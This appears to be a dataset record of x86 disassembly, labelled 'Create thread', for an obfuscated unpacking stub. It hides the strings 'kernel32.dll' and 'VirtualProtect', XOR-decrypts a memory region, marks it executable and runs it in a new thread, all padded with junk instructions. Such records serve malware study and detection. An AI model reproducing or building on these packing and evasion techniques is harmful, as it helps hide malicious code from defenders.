Function at 0xcb7a11
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
push 0x79536d9d
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
call fcn.00cb7e52
pushfd
xor esi, 0xb111548c
xor esi, 0xb111548c
popfd
lea eax, [ebp - 0xd8]
push ebx
pop ebx
push ebx
pop ebx
mov ebx, 0x61
push eax
pop eax
pushfd
push 0xa9da2e8a
add esp, 4
popfd
add bx, 0xa
pushfd
inc ecx
dec ecx
popfd
mov word [eax], bx
nop
pushfd
push 0x70d472d3
add esp, 4
popfd
sub bx, 6
pushfd
push 0xbe17e3bc
add esp, 4
popfd
mov word [eax + 2], bx
pushfd
xor edi, 0x14eb9475
xor edi, 0x14eb9475
popfd
push edx
push ebx
pop ebx
pop edx
add bx, 0xd
push edi
pop edi
mov word [eax + 4], bx
pushfd
push 0xacc56e61
add esp, 4
popfd
push ecx
push edi
pop edi
pop ecx
sub bx, 4
nop
xchg esi, esi
mov word [eax + 6], bx
xchg ebx, ebx
sub bx, 9
mov ecx, ecx
mov word [eax + 8], bx
pushfd
xor edx, 0xa08aeafa
xor edx, 0xa08aeafa
popfd
xchg edi, edi
add bx, 7
pushfd
push 0xb0e800ca
add esp, 4
popfd
mov word [eax + 0xa], bx
pushfd
push esi
add esp, 4
popfd
pushfd
push 0x7465a234
add esp, 4
popfd
sub bx, 0x39
pushfd
push ebx
add esp, 4
popfd
push edi
pop edi
mov word [eax + 0xc], bx
pushfd
inc edi
dec edi
popfd
pushfd
inc ecx
dec ecx
popfd
dec bx
pushfd
push ebx
add esp, 4
popfd
mov word [eax + 0xe], bx
xchg edi, eax
xchg edi, eax
mov edx, edx
sub bx, 4
pushfd
push esi
add esp, 4
popfd
mov word [eax + 0x10], bx
pushfd
inc ecx
dec ecx
popfd
pushfd
xor ebx, 0x65c9913f
xor ebx, 0x65c9913f
popfd
add bx, 0x36
pushfd
push esi
add esp, 4
popfd
pushfd
push 0x35adee
add esp, 4
popfd
mov word [eax + 0x12], bx
nop
nop
add bx, 8
xchg edx, esi
xchg esi, edx
pushfd
push esi
add esp, 4
popfd
mov word [eax + 0x14], bx
pushfd
push 0x9f4e0b2d
add esp, 4
popfd
mov word [eax + 0x16], bx
push edx
push eax
pop eax
pop edx
pushfd
push 0x9452937d
add esp, 4
popfd
mov word [eax + 0x18], 0
pushfd
push ecx
add esp, 4
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
xchg edx, ecx
xchg ecx, edx
mov dword [ebp - 0x10], eax
mov ecx, ecx
lea eax, [ebp - 0xd8]
mov ecx, ecx
xchg ecx, edi
xchg edi, ecx
mov ebx, 0x61
mov eax, eax
pushfd
push 0xe886bb1c
add esp, 4
popfd
sub bl, 0xb
push ebx
push eax
pop eax
pop ebx
mov edi, edi
mov byte [eax], bl
pushfd
xor eax, 0xcf8d0743
xor eax, 0xcf8d0743
popfd
xchg edi, ebx
xchg ebx, edi
add bl, 0x13
pushfd
inc esi
dec esi
popfd
mov byte [eax + 1], bl
xchg edi, edx
xchg edx, edi
add bl, 9
mov ecx, ecx
mov eax, eax
mov byte [eax + 2], bl
xchg esi, esi
pushfd
push 0x7025e19b
add esp, 4
popfd
add bl, 2
pushfd
inc ebx
dec ebx
popfd
xchg edx, edx
mov byte [eax + 3], bl
pushfd
push edi
add esp, 4
popfd
inc bl
pushfd
push ebx
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 4], bl
pushfd
push esi
add esp, 4
popfd
push esi
pop esi
sub bl, 0x14
pushfd
inc esi
dec esi
popfd
xchg ebx, ebx
mov byte [eax + 5], bl
pushfd
push 0x281db8f0
add esp, 4
popfd
push ebx
pop ebx
add bl, 0xb
xchg esi, edi
xchg edi, esi
pushfd
xor ecx, 0xa4f60ab3
xor ecx, 0xa4f60ab3
popfd
mov byte [eax + 6], bl
pushfd
push edx
add esp, 4
popfd
sub bl, 0x1c
pushfd
push 0x6472ea6d
add esp, 4
popfd
xchg ecx, ebx
xchg ebx, ecx
mov byte [eax + 7], bl
push edi
pop edi
add bl, 0x22
pushfd
inc ecx
dec ecx
popfd
push edi
push edx
pop edx
pop edi
mov byte [eax + 8], bl
push edx
push ebx
pop ebx
pop edx
pushfd
inc edi
dec edi
popfd
sub bl, 3
push edi
pop edi
mov byte [eax + 9], bl
pushfd
push edi
add esp, 4
popfd
pushfd
push eax
add esp, 4
popfd
add bl, 5
pushfd
push edi
add esp, 4
popfd
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 0xa], bl
pushfd
inc edx
dec edx
popfd
push eax
push ebx
pop ebx
pop eax
sub bl, 0xf
xchg esi, ecx
xchg ecx, esi
pushfd
push 0x83267401
add esp, 4
popfd
mov byte [eax + 0xb], bl
xchg edx, edx
xchg edx, ebx
xchg ebx, edx
sub bl, 2
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 0xc], bl
pushfd
push 0x34271b64
add esp, 4
popfd
pushfd
xor ebx, 0x151c5b46
xor ebx, 0x151c5b46
popfd
add bl, 0x11
mov ecx, ecx
push ebx
pop ebx
mov byte [eax + 0xd], bl
xchg esi, edi
xchg edi, esi
mov ecx, ecx
mov byte [eax + 0xe], 0
mov esi, esi
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push esi
push edi
pop edi
pop esi
mov eax, eax
mov dword [ebp - 0xc], eax
xchg ebx, ecx
xchg ecx, ebx
pushfd
xor edi, 0xffc4724b
xor edi, 0xffc4724b
popfd
lea eax, [ebp - 8]
xchg ecx, eax
xchg ecx, eax
pushfd
inc ecx
dec ecx
popfd
push eax
push 4
push 0x5cf157
push entry0
call dword [ebp - 0xc]
xchg edx, edx
mov edi, entry0
xchg ebx, ebx
xchg edi, edi
mov esi, 0x40100e
pushfd
inc ebx
dec ebx
popfd
push ecx
push edx
pop edx
pop ecx
mov ecx, 0x5cf157
xchg esi, edi
xchg edi, esi
mov edx, 0xf48d75c5
pushfd
push 0xdf2f8d4b
add esp, 4
popfd
mov ebx, 0xc8bb8e34
push eax
push esi
pop esi
pop eax
push edi
push eax
pop eax
pop edi
cld
mov edx, edx
lodsb al, byte [esi]
mov eax, eax
xor al, dl
xchg ecx, ecx
stosb byte es:[edi], al
nop
ror edx, 5
mov eax, eax
imul edx, edx, 7
mov edi, edi
test ebx, 1
nop
je 0xcb7da9
mov ecx, ecx
add esi, 1
mov ecx, ecx
ror ebx, 1
mov ecx, ecx
dec ecx
mov edi, edi
test ecx, ecx
xchg ecx, ecx
jne 0xcb7d84
pushfd
push 0xe3ed48ea
add esp, 4
popfd
push edi
push edx
pop edx
pop edi
lea eax, [ebp - 8]
pushfd
xor edx, 0xa77d7543
xor edx, 0xa77d7543
popfd
pushfd
xor edi, 0xd2a70b2b
xor edi, 0xd2a70b2b
popfd
push eax
push 0x20
push 0x5cf157
push entry0
call dword [ebp - 0xc]
pushfd
inc edi
dec edi
popfd
lea eax, [ebp - 4]
pushfd
push 0x67ea678f
add esp, 4
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
xchg ebx, ebx
pushfd
push edx
add esp, 4
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
xchg edi, eax
xchg edi, eax
pushfd
xor eax, 0xb3e4e382
xor eax, 0xb3e4e382
popfd
jmp 0xcb7e1a